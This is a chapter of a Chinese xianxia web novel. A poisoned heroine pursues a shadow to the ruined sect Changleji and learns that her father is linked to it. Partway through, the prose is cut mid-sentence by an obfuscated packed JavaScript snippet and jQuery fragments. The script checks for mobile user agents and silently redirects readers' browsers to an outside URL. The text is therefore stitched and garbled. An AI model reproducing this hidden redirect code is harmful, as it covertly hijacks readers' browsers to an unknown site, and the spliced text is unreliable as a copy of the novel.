88. 第 88 章

她唯一的念头是,那么多人,一定有人救她,她不会死的,于是放任身躯下坠。


迷糊中,有人抓住了她的手,将她从沉重的水里拽到了岸上。


周漫剧烈的咳嗽,将水悉数吐出,如蒙大赦,大口呼吸。


“师父。”


她擦了擦眼里的水,这才看清救她的竟然是郁间柳,昏暗的光线中依稀可见他冷若冰霜的神情,多看一眼都会被冻一激灵,郁岁安在边上小心翼翼的看着他们。


郁间柳扭头瞪着郁岁安,厉声质问:“你在做什么!”


郁岁安许是被他眼神吓到,颤了颤,生气的指着周漫吼,“她……她羞辱我,欺负我!”


到底是小孩,在长辈前委屈告状,看的周漫满是惭愧,她确实是欺负小孩了。


“放肆!”


郁间柳严声呵斥,郁岁安退步,他催动灵力烘干周漫和自己的的衣服,紧接着脱下披风给她披上,抬眼看向聚集的人,一个凛冽的眼神就让看客避之不及。


周漫拢了拢披风,撑着地起身道谢,明明人就在面前,她却觉得很远,甚至有些看不清郁间柳的神态,她估摸着自己是呛水还没回过神来。


“师父!”


郁岁安委屈,郁间柳回眸看他,眼神冷厉,见状,郁岁安嘴一撇跑了。


“郁少主,的确是我欺负郁公子。”周漫解释,垂眸道歉,再抬眸对上一双深邃的眼眸,不知是不是错觉,她竟然从中看到了浓烈的眷念和克制,她忙别开眼。


风一吹周漫忍不住哆嗦了一下,她垂眸看他伸来的手又收回去,气氛莫名尴尬起来。


“告辞。”


周漫匆忙离开,撞到了人也浑然不觉。


郁间柳静静地看着她消失在人群中,紧握着拳,指骨泛白,克制着心底的情绪。


“正找你呢。”


谢此亦气喘吁吁而来,胳膊挂他肩上,随着他目光看去,眼神暗了一瞬,沉声问:“遇上了?”


郁间柳没回应,转身离开。


谢此亦追上他,勾着着他肩膀不让他走快,语气满是调侃,“我以为你会发疯呢,没想到还挺冷静。”


郁间柳平静的说:“一把年纪了。”


“也是,总不能毛头小子一样失礼。”谢此亦把面具往他脸上比划,觉得不好看又摇摇头,一手勾着他脖子往边上摊子上去,一手甩着面具,冷不伶仃告诉他,“你知道我是站你这边的吧?”


“嗯?”郁间柳疑惑,面对摊贩的行礼颔首回意,直勾勾的盯着他看,慢慢反应过来他的意思,垂眸敛了眼底寒意,抓着他胳膊往前走,不让他买东西。


谢此亦没反应过来就被拽着走,摇摇晃晃几下往他身上摔,站稳了甩开他手,看他面无表情,“啧”了一声。


郁间柳突然止步,眉头紧锁,“不过,何姑娘的心愿到底是什么?”


“小满自己都不知道呢。”


这下两人都愁容满面了,直到站在“照交派”大门前才调整情绪,谢此亦换上灿烂的笑脸,拍了拍旁边的人后进大门。


“呀,小七来了。”


“许久不见,伯母还是一样的光彩照人,不对,怎么还变年轻了呀,这要是路上遇到了,我肯定得喊姐姐。”


谢此亦人长得俊俏,嘴也甜,把廿夫人哄得眉开眼笑,拉着他往里走,关切的问他近况,丝毫不管后面跟着的亲儿子。


周漫没往客栈去,继续跟着灵线找尤季瑜,灵线消失在一户人家前。


阴气弥散,有诡。


她心里暗叫不好,立刻翻进去,院子里阴气阵阵,她往屋里去,门开,尤季瑜站在其中,边上的两具死相惨烈的尸身。


周漫错愕,尤季瑜转过身,如鬼魅一般,神色阴暗,脸上还流淌着血液,细看肩上有几道伤口在渗血,看来才交过手。


天上炸开烟花,明亮的光被门檐隔档,落在她的身上,眼睛却仍在暗中,整个人透着一股难以言喻的死气,身上是若隐若现的妖气。


“何姑娘,来晚了。”


她笑的苦涩,眼底是浓烈的怨恨。


周漫回过神,几步冲了上去,封住她穴口先止血,转身看地上两具尸体一男一女,女的尸身完整伤在心口,男的没了头颅,两人手近在咫尺却没有触碰到。


她仔细查看男尸,锁骨处有什么东西在消散,她急忙扯开看却什么都没有,皮肤还有温度,但确实一点痕迹都没有。


她焦急的看向尤季瑜,想从她那获得一丝认可。


“长生花。”尤季瑜蹲下身,手指点在锁骨处,神色凌然,再次重复,“长生花,人死花消。”


什么东西在脑海里串联在一起,周漫头痛欲裂,她咬着牙忍住,冷静的问:“不止上清门?”


尤季瑜没有回答。


周漫再问:“看到凶手了吗?”


仍旧没有回答,周漫抬眼看她,灿烂的烟花背景下她神色晦暗不清,亮光刺目,周漫只觉肩胛一疼,紧接着被她一震退了几丈,重重的砸在椅子上。


周漫撑地起身,按着流血的肩看她,手中蓄着灵力,冷静的询问:“你要做什么。”


话音刚落,尤季瑜再次袭击,烟花停响,黑烟遮天蔽月,屋中漆黑一片,只有剑光闪烁。


周漫飞身到院子中,借着稀薄的月光能看清几分人影,尤季瑜拎着剑站在门口,脸上的血迹干涸,如幽冥恶鬼一般。


“咚!”


院门破开,有人来了,尤季瑜逼近,周漫被妖气震退,来人扶住她,转眼她逃脱不见。


“何姑娘!”


李舟抛出灵光照亮,看清了是她错愕一阵,紧接着再看屋中场景,震惊不已。


周漫腾出手用手帕按住肩膀伤口止血,冷静的往屋里走去找烛台点亮,如实告知,“不是尤季瑜。”


李舟蹲下身查看尸体后眉头紧锁,立刻放了烟雾弹,站起身看她肩膀还在流血,上前看,“有毒!”


闻言,周漫忍不住骂了一句,“真阴险!”


李舟:“我带你去照交派找医修。”


“你留下查案,我自己去。”


周漫抬手阻止他跟着,自行封住了穴道,脚下生风,疾步往照交派去,到了门口她又犹豫起来,倒不是怕见,只是今日正好是廿夫人生辰,她不吉之人带着血腥上门不妥,于是她调转方向往集市走去,找了一家医修坐镇的医馆。


大夫看完眉头紧锁,“仙长,你这毒我不认识,解不了,快去照交派找赵神医吧。”


周漫:“今日廿夫人生辰,我不便打扰,能否请你先为我止血,我明日再去。”


“这……”大夫为难,劝道,“这不知是什么毒,若是耽搁了难保没有性命之忧,廿夫人仁慈,定然不会怪罪。”


“我以灵力护住心脉,无碍。”


大夫见她坚持,叹息着替她止血。


海上风大,夜晚尤其,窗户被吹关上,门也吱吱作响,湿咸的风中浮动着药香味,医馆中只有她与大夫两人。


周漫侧目看包扎好的伤口,敛眸掩藏眼底的情绪,面上挂着人畜无害的神情。


她起身往帘子后的病床走去,在帘子前止住了脚,客气的询问:“大夫,我来看烟花,现下晚了不能离岛,无处可去,可否借你医馆落脚一晚?”


“仙长若是不嫌弃就将就一晚。”


大夫收拾东西往后院去,人刚走,门窗就“砰砰砰”的全关上了,烛光摇曳,帘子晃动,人影被拉扯,周漫靠近,斩星揭开帘子,黑影窜出,破窗而逃,周漫立刻追去。


跑离岛中心,到了偏远的小道,黑影一直在前,周漫几次跟丢又找到,循环往复,两个时辰后到了岛的最边缘处,黑影彻底消失。


黑影是故意引她来此处。


她凝结灵团照亮,扒开茂密的芦苇,月光朦胧下可见海边有密密麻麻的屋舍,像是村落。


她往下走去看到匾额上有“芙蓉镇”三字,她捏着斩星警惕的进入,房屋破败,毫无人气,看起来像是荒废的镇子。


周漫走在空荡的路上,月光铺洒,凄清怪异。


平坦的小路连接着河边,她走到尽头只有一块石碑,周漫以灵团照亮,俯身看上面的字。


“千古空传长乐溪,谁知乐极已生悲。”


刻字深红有缺角,像是久远之物。


周漫若有所思,不自觉的抬手摸了“长乐”两字,血迹沾染,石碑震动塌陷,紧接着狂风呼啸,海面沸腾,天旋地转一瞬,海面归于平静从中间裂开,海水坠落黑暗中,沙砾水珠聚集,眨眼间化作了一条路。


引她来是为此?


传言,长乐极在临川海域上,行踪不


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250282|147366||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


定,无人知晓,覆灭以后海外仙岛传信而来,仙门各派纷纷前往探查,蔚勉真人引路,众人在一座小岛上看到了遍地尸骸,经查验确是长乐极一派,离岛后众人再寻,却不见小岛。


众说纷纭,唯一确定的是长乐极因内斗而覆灭。


周漫留下痕迹后才踏上水路,故意引她而来,她自然要去看看是为何。


水路往下而流,忽然疾坠,眼前忽明忽暗,片刻后她恢复镇定,眼前是一座大殿,日出,光芒四射,“长乐极”三字尤其刺目。


晃眼间,周围多了人,灰暗的颜色变得鲜亮。


周漫警惕的往上走,脚踏上台阶,眼前忽闪过陌生的画面,耳边是陌生的声音,每往上一步都是惨烈的画面和崩溃的喊叫声。


恶灵不入鬼门,戾气难消。


她看到的、听到的全是往昔,周围的人全都驻足看她,个个都身着黑衣,手持利刃,身上有伤,神色怪异,似豺狼虎豹在看送上门的猎物。


周漫想停下脚步,却有一股邪气拖着她往上。


“啊!”


浑身刺痛,周漫忍不住轻哼,每一步都走的格外沉重。


“咚!砰!”


明亮的天色忽然暗沉下来,电闪雷鸣,狂风骤雨,适才凝视她的人全都躺在地上,面目狰狞,没了气息,死相惨烈。


大雨滂沱,周漫眼前的景似翻书一般变化,速度之快让他抓不住一点信息。


突然画面定格,她面前站着一黑衣女子,怀中抱着婴儿,手中的刀流淌红水,眼神凄厉的看着她。


周漫头痛欲裂跌倒在地,画面转瞬即逝,场景回转,又是晴朗的天,一滴水滴落在她脸上,温热、黏腻,她抬头看台阶下有一人往上。


舒长稳步步往上,神色凌然。


是他?


周漫按着发疼的肩膀站起身,居高临下的看着他,握紧了斩星。


舒长稳行到她面前却没有停下,从她边上略过继续往上。


周漫疑惑的看着他,咬着牙忍痛跟上。


舒长稳:“看来何姑娘与长乐极渊源颇深。”


周漫看着手上的血若有所思,何之之同她一样是靖川人士,父母经营一家胭脂铺,幼时父母染上瘟疫去世,流浪中遇到了酒凌真人而拜入长板派。


她的血可以打开长乐极结界,难道她的身世有蹊跷?


这一切与她心愿有关吗?


阁楼空旷,周漫在门前驻足,舒长稳从架子上取出一本册子走出,径直往下走。


周漫追上去,告诉他:“有人引我来此。”


闻言,舒长稳止步,垂眸看她,眼神从漠然变得探究。


“你来找这个册子,而有人引我来,这其中有关联?”


“这是加入长乐极的名册。”


“有我?”


“没有。”


他语气笃定。


“我父母?”


舒长稳将册子递给她,任由她翻看。


周漫一一看去,目光落在了“何昌润”名字上,头疼,心疼,身体的反应做不得假。


见状,舒长稳将册子拿回,冷笑。


他捏诀施法,周漫眼睛一烫,房屋坍塌,地陷,伫立的屋舍台阶转眼成了废墟,清冽的空气笼罩着浓重的戾气,她恍若置身于幽冥之地,目光所及皆是瘴气,白骨堆叠,哀鸿遍野,戾气深耕。


巨大的白骨立在高处,上面刻着密密麻麻的符文,头上的天笼罩着层层黑雾,不见一丝阳光。


“这才是真正的长乐极。”


舒长稳指着堆成山的白骨,身上弥散着鬼气,冷声告诉她,“也有你父亲的一份功劳。”


“啊!”


斩星疯狂的震动,周漫压制不住,心脏发疼,似有毒针刺穿,痛感一点点加深,她难以呼吸,佝偻着身躯,浑身颤抖。


舒长稳蹲在地上看她,眼睛微红,眼神鬼魅,意味深长的说,“何姑娘,殊途同归的意思是,我们本质是一样的人。”


“何昌润,也是上清门的弟子。”


周漫心脏撕裂的痛,慌乱的去攀扯他手中的名册,名册扯落,风一吹,黄沙覆盖,只留“赵铮”一名。


“何姑娘,该走上正路了。”


“噗!”


血液喷出模糊了舒长稳的脸,周漫失去意识。